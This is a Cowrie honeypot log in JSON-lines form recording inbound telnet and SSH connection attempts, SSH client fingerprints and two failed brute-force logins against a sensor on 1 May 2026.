{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":45260,"dst_ip":"159.203.135.109","dst_port":23,"session":"2063cdb1516c","protocol":"telnet","message":"New connection: 103.137.231.186:45260 (159.203.135.109:23) [session: 2063cdb1516c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:37.161015Z"}
{"eventid":"cowrie.session.closed","duration":31.512030601501465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:37.360427Z","src_ip":"103.137.231.186","session":"521f2d5ecaa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.16655230522156,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:37.365410Z","src_ip":"159.203.13.64","session":"40319c6ad5fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038439750671387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:38.129977Z","src_ip":"103.137.231.186","session":"f5c1c2de12aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699790000915527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:38.158754Z","src_ip":"103.137.231.186","session":"fe4b12a45f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47898,"dst_ip":"10.17.0.5","dst_port":23,"session":"6890a7ca6941","protocol":"telnet","message":"New connection: 159.203.13.64:47898 (10.17.0.5:23) [session: 6890a7ca6941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:38.919250Z"}
{"eventid":"cowrie.session.closed","duration":30.83829975128174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:39.157140Z","src_ip":"103.137.231.186","session":"e77fd7557f8d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:40.981569Z","src_ip":"45.78.194.242","session":"327039ce74b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"47.8","message":"Connection lost after 47.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:40.988367Z","src_ip":"45.78.194.242","session":"327039ce74b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.603387594223022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:41.152837Z","src_ip":"103.137.231.186","session":"2efe26e83302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16044545173645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:41.296319Z","src_ip":"103.137.231.186","session":"a39e6ff1707d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14701771736145,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:41.778251Z","src_ip":"159.203.13.64","session":"c0c4142fc980","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.091526746749878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:42.129525Z","src_ip":"169.38.112.222","session":"50046a38a8ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.00454640388489,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:45.111965Z","src_ip":"103.137.231.186","session":"9852d058a7a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":56980,"dst_ip":"159.203.135.109","dst_port":22,"session":"564603ce2c4f","protocol":"ssh","message":"New connection: 186.13.24.118:56980 (159.203.135.109:22) [session: 564603ce2c4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:45.430805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:45.434754Z","src_ip":"186.13.24.118","session":"564603ce2c4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:45.593628Z","src_ip":"186.13.24.118","session":"564603ce2c4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56028,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6181a772b16","protocol":"telnet","message":"New connection: 103.137.231.186:56028 (159.203.135.109:23) [session: d6181a772b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:45.813913Z"}
{"eventid":"cowrie.login.failed","username":"imapuser","password":"I2KPwdI5","message":"login attempt [imapuser/I2KPwdI5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:46.274457Z","src_ip":"186.13.24.118","session":"564603ce2c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.51604700088501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:46.742059Z","src_ip":"103.137.231.186","session":"bd19868a663c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.544092416763306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:47.047742Z","src_ip":"103.137.231.186","session":"60b52e806504","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:47.440433Z","src_ip":"186.13.24.118","session":"564603ce2c4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.41557025909424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:48.129228Z","src_ip":"103.137.231.186","session":"aa7d84dfc47d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14040231704712,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:48.182232Z","src_ip":"103.137.231.186","session":"2c29f7546f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56046,"dst_ip":"159.203.135.109","dst_port":23,"session":"9114d8959baa","protocol":"telnet","message":"New connection: 103.137.231.186:56046 (159.203.135.109:23) [session: 9114d8959baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:48.630763Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":56036,"dst_ip":"159.203.135.109","dst_port":23,"session":"d62fbea16b6c","protocol":"telnet","message":"New connection: 103.137.231.186:56036 (159.203.135.109:23) [session: d62fbea16b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:49.584700Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43070,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c7cdb451ba9","protocol":"telnet","message":"New connection: 159.203.13.64:43070 (10.17.0.5:23) [session: 6c7cdb451ba9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:49.768369Z"}
{"eventid":"cowrie.session.closed","duration":30.49525809288025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:50.126182Z","src_ip":"103.137.231.186","session":"d12b756f8264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51352834701538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:50.131227Z","src_ip":"103.137.231.186","session":"236c83196259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91360068321228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:50.157429Z","src_ip":"103.137.231.186","session":"250809472be4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":57622,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d2903fec43e","protocol":"telnet","message":"New connection: 103.137.231.186:57622 (159.203.135.109:23) [session: 3d2903fec43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:51.267390Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":57636,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f50fe0d072a","protocol":"telnet","message":"New connection: 103.137.231.186:57636 (159.203.135.109:23) [session: 7f50fe0d072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:51.632860Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":59828,"dst_ip":"10.17.0.5","dst_port":23,"session":"030c399ba1ea","protocol":"telnet","message":"New connection: 169.38.112.222:59828 (10.17.0.5:23) [session: 030c399ba1ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:52.766876Z"}
{"eventid":"cowrie.session.closed","duration":30.529104709625244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:53.125852Z","src_ip":"103.137.231.186","session":"66e3828fae9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45876169204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:53.158585Z","src_ip":"103.137.231.186","session":"f672b5ad00f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.193934440612793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:53.323007Z","src_ip":"169.38.112.222","session":"21516ffb930a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40494,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dd53999f870","protocol":"telnet","message":"New connection: 162.253.42.116:40494 (10.17.0.5:23) [session: 4dd53999f870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:53.663925Z"}
{"eventid":"cowrie.session.closed","duration":31.14952278137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:54.147528Z","src_ip":"169.38.112.222","session":"4c70a69fd0db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642874479293823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:54.329644Z","src_ip":"103.137.231.186","session":"3e88431e484d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.60772371292114,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:54.495981Z","src_ip":"159.203.13.64","session":"61efa16ad629","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.438000440597534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:55.127624Z","src_ip":"169.38.112.222","session":"d03d6c419882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899418830871582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:55.436810Z","src_ip":"103.137.231.186","session":"e1dc9bdaeec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164864778518677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:55.564529Z","src_ip":"103.137.231.186","session":"f348cf65a244","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.693514108657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:57.208499Z","src_ip":"103.137.231.186","session":"2cfd9ac295e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":46104,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7414f8836f3","protocol":"telnet","message":"New connection: 104.248.46.74:46104 (159.203.135.109:23) [session: e7414f8836f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:58.179497Z"}
{"eventid":"cowrie.session.closed","duration":39.9699501991272,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:58.724015Z","src_ip":"159.203.13.64","session":"42c83b24bab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":57652,"dst_ip":"159.203.135.109","dst_port":23,"session":"39fa96011c4e","protocol":"telnet","message":"New connection: 103.137.231.186:57652 (159.203.135.109:23) [session: 39fa96011c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:17:59.884478Z"}
{"eventid":"cowrie.session.closed","duration":30.522796392440796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:00.132994Z","src_ip":"103.137.231.186","session":"7cdd8a55c472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922478199005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:01.126323Z","src_ip":"169.38.112.222","session":"1ed1c233f6fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.602121591567993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:01.218106Z","src_ip":"103.137.231.186","session":"9331b3f1f977","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.701821088790894,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:02.673718Z","src_ip":"159.203.13.64","session":"0fc844b05536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43209743499756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:03.147865Z","src_ip":"169.38.112.222","session":"177a12dac78a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":60134,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a33f6fb651e","protocol":"telnet","message":"New connection: 169.38.112.222:60134 (10.17.0.5:23) [session: 0a33f6fb651e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:03.840797Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50578,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea845c4fe2e4","protocol":"ssh","message":"New connection: 159.203.92.129:50578 (159.203.135.109:22) [session: ea845c4fe2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:04.899063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:04.904390Z","src_ip":"159.203.92.129","session":"ea845c4fe2e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:04.908895Z","src_ip":"159.203.92.129","session":"ea845c4fe2e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amanda","password":"123456","message":"login attempt [amanda/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:04.920761Z","src_ip":"159.203.92.129","session":"ea845c4fe2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.64173126220703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:05.231961Z","src_ip":"103.137.231.186","session":"c369a4b45590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:05.926734Z","src_ip":"159.203.92.129","session":"ea845c4fe2e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.65477252006531,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:07.263902Z","src_ip":"159.203.13.64","session":"728711682474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.77192831039429,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:08.183566Z","src_ip":"159.203.13.64","session":"6e2dea0fe5cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.798808813095093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:08.959694Z","src_ip":"103.137.231.186","session":"2063cdb1516c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":40120,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f68e3b141a","protocol":"telnet","message":"New connection: 103.137.231.186:40120 (159.203.135.109:23) [session: 42f68e3b141a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:11.490419Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.35.145.66","src_port":33465,"dst_ip":"10.17.0.5","dst_port":23,"session":"416a14052356","protocol":"telnet","message":"New connection: 64.35.145.66:33465 (10.17.0.5:23) [session: 416a14052356]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:12.490832Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":40130,"dst_ip":"159.203.135.109","dst_port":23,"session":"83e50f8e77db","protocol":"telnet","message":"New connection: 103.137.231.186:40130 (159.203.135.109:23) [session: 83e50f8e77db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:13.405655Z"}
{"eventid":"cowrie.session.closed","duration":36.90953803062439,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:15.828691Z","src_ip":"159.203.13.64","session":"6890a7ca6941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.333879709243774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:16.147671Z","src_ip":"103.137.231.186","session":"d6181a772b16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":40138,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb8d5e39eeb2","protocol":"telnet","message":"New connection: 103.137.231.186:40138 (159.203.135.109:23) [session: bb8d5e39eeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:17.844327Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.137.231.186","src_port":40154,"dst_ip":"159.203.135.109","dst_port":23,"session":"528787d1ec9f","protocol":"telnet","message":"New connection: 103.137.231.186:40154 (159.203.135.109:23) [session: 528787d1ec9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:18:18.660856Z"}
